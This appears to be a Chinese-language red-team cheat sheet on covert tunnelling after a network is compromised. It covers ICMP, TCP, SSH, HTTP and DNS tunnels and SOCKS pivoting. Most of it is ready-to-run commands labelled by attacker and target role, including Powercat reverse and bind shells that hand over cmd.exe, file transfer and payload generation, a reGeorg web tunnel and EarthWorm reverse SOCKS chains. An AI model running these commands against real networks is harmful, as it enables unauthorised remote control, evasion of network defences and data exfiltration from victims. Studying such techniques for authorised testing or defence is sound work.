隐藏通信隧道技术
基础知识
常用协议
1.ICMP协议
ping IP
2.TCP协议
nc ip port
3.HTTP协议
curl ip:port
4.DNS协议
nslookup www.baidu.com vps-ip
dig @vps-ip www.baidu.com http://www.baidu.com
网络层隧道技术
git clone https://github.com/inquisb/icmpsh.git
传输层隧道技术
Powercat ——nc的powershell版本
git clone https://github.com/besimorhino/powercat.git 下载
cd powercat
powershell
Import-Module .\powercat.ps1
nc正向连接powershell
攻击机:
nc 192.168.227.161 8080 –vv
靶机:
Powercat -l -p 8080 -e cmd.exe –v
-l:监听模式,用于入站连接
-p:指定监听端口
-e:指定要启动进程的名称
-v:显示详情
nc反向连接powershell
攻击机:
nc -l -p 8888 -vv
靶机:
powercat -c 192.168.211.147 -p 8888 -v -e cmd.exe
通过Powercat 返回 PowerShell
攻击机:
powecat -l -p 9999 –v
靶机:
powercat -c 192.168.130.150 -p 9999 -v –ep
通过PowerCat传输文件
攻击机:
powercat -c 内网ip -p 端口 -i 目录
靶机:
powercat -l -p 端口 -of 文件名 -v
通过PowerCat生成payload
攻击机:
1.powercat -l -p 8000 -e cmd -v -g >> karsa.ps1
2.上传到靶机中并执行
3.powercat -c 192.168.142.137 -p 8000 -v
应用层隧道技术
常用隧道协议:SSH、HTTP/HTTPS和DNS
SSH协议
- 本地转发
攻击机:ssh –L 本地端口:目标主机:目标端口 jump
SSH的进程的本地端口映射可以将本地的某个端口转发到远端指定机器的指定端口;
本地端口转发则是在本地监听端口,访问此端口的数据都会通过SSH隧道传输到远端的端口
- 远程转发
已拿下web服务器:ssh –R 远程主机端口:目标主机:目标主机端口 远程主机
本地转发是将远程主机某个端口的数据转发到本地机器的指定端口
远程转发是在远程主机上监听端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地对应端口
- 动态转发
ssh -D 8080 user@host
此时建立动态SOCKS4/5代理通道,在本地浏览器设置网络代理后,通过浏览器访问内网
HTTP/HTTPS协议
- reGeorg
主要功能为把内网服务器端口的数据通过http隧道转发到本机,实现基于http协议的通信
将tunnel脚本文件上传到目标服务器中,使用kali机访问服务器上tunnel文件。返回后,利用reGeorgSocksProxy.py脚本监听本地端口,建立通信链接
python reGeorgSocksProxy.py -u http://ip/tunnel.xxx -p 端口
DNS协议
- 应用原理
两台机器之间建立TCP连接后,如果目标是域名,将域名解析成IP进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,并返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。而事实DNS协议可以返回任何字符串,此时即可利用DNS服务器建立DNS隧道
- 应用工具
dnscat2、iodine
SOCKS代理
核心
帮他人完成socket访问网络。当我们通过代理服务器访问一个网址时,socks服务器其实是起到中间人的身份,其分别于浏览器与被访问的网站通讯然后将获取到的结果告知另一方
工作原理
当我们访问一个网站时,浏览器会先发送一个被访问目标的基本信息(url和服务端口)给socks服务端,socks服务端解析了这个信息后,会代替浏览器访问目标网站,并将访问结果回复给浏览器端
EW
http://rootkiter.com/EarthWorm/
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
使用方法:
以下所有样例,如无特殊说明代理端口均为1080,服务均为SOCKSv5代理服务.
该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
-
正向 SOCKS v5 服务器
$ ./ew -s ssocksd -l 1080
-
反弹 SOCKS v5 服务器
这个操作具体分两步:
a) 先在一台具有公网 ip 的主机A上运行以下命令:
$ ./ew -s rcsocks -l 1080 -e 8888
b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
$ ./ew -s rssocks -d 1.1.1.1 -e 8888
成功。
- 多级级联
工具中自带的三条端口转发指令,
它们的参数格式分别为:
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。
首先提供两个“二级级联”本地SOCKS测试样例:
a) lcx_tran 的用法
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
b) lcx_listen、lcx_slave 的用法
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
再提供一个“三级级联”的本地SOCKS测试用例以供参考
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks